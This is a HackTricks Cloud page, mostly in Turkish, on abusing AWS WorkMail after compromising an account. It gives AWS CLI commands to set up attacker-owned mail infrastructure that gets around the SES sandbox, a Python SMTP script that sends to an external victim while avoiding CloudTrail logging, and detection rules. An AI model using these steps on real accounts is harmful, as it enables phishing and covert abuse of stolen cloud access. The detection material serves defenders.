AWS - WorkMail Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
WorkMail’i kullanarak SES sandbox’ını atlatma
Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. Uzun süreli anahtarlara sahip bir saldırgan geçici mail altyapısı kurup hemen göndermeye başlayabilir:
- WorkMail org oluştur (bölgeye özel)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
- Saldırgana ait domainleri doğrulama (WorkMail, SES API’lerini
workmail.amazonaws.comolarak çağırır):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
- Posta kutusu kullanıcıları oluştur ve kaydet:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
Notlar:
- AWS tarafından belgelenen varsayılan recipient cap: 100,000 external recipients/day per org (kullanıcılar arasında toplanır).
- Domain doğrulama etkinlikleri CloudTrail’de SES altında görünecektir ancak
invokedBy:workmail.<region>.amazonaws.comile, bu nedenle SES doğrulama olayları SES kampanyalarından ziyade WorkMail kurulumu ile ilişkili olabilir. - WorkMail posta kutusu kullanıcıları, IAM kullanıcılarından bağımsız olarak application-layer persistence haline gelir.
Gönderim yolları ve telemetri boşlukları
Web istemcisi (WorkMail UI)
- CloudTrail’de
ses:SendRawEmaileventleri olarak görünür. userIdentity.type=AWSService,invokedBy/sourceIPAddress/userAgent=workmail.<region>.amazonaws.com, bu yüzden gerçek istemci IP’si gizlenir.requestParametersyine de sender’ı leak eder (source,fromArn,sourceArn, configuration set) ve yeni doğrulanmış domain/posta kutuları ile korelasyon yapmak için bilgi verir.
SMTP (en gizli)
- Uç nokta:
smtp.mail.<region>.awsapps.com:465(SMTP over SSL) ve posta kutusu parolası ile. - No CloudTrail data events SMTP teslimi için oluşturulmaz, SES data events etkin olsa bile.
- İdeal tespit noktaları org/domain/user provisioning ve sonraki web üzerinden gönderilen
SendRawEmaileventlerinde referans verilen SES identity ARN’leridir.
Example SMTP send via WorkMail
```python import smtplib from email.message import EmailMessageSMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”
target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
</details>
## Tespit hususları
- WorkMail gereksizse, organizasyon düzeyinde **SCPs** ile (`workmail:*` deny) engelleyin.
- Provisioning için uyarı oluşturun: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail` ve `invokedBy=workmail.amazonaws.com` ile yapılan SES doğrulamaları (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Kimlik ARN'lerinin yeni domainlere işaret ettiği ve kaynak IP/UA'nın `workmail.<region>.amazonaws.com` olduğu anormal **`ses:SendRawEmail`** olaylarını izleyin.
## Referanslar
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

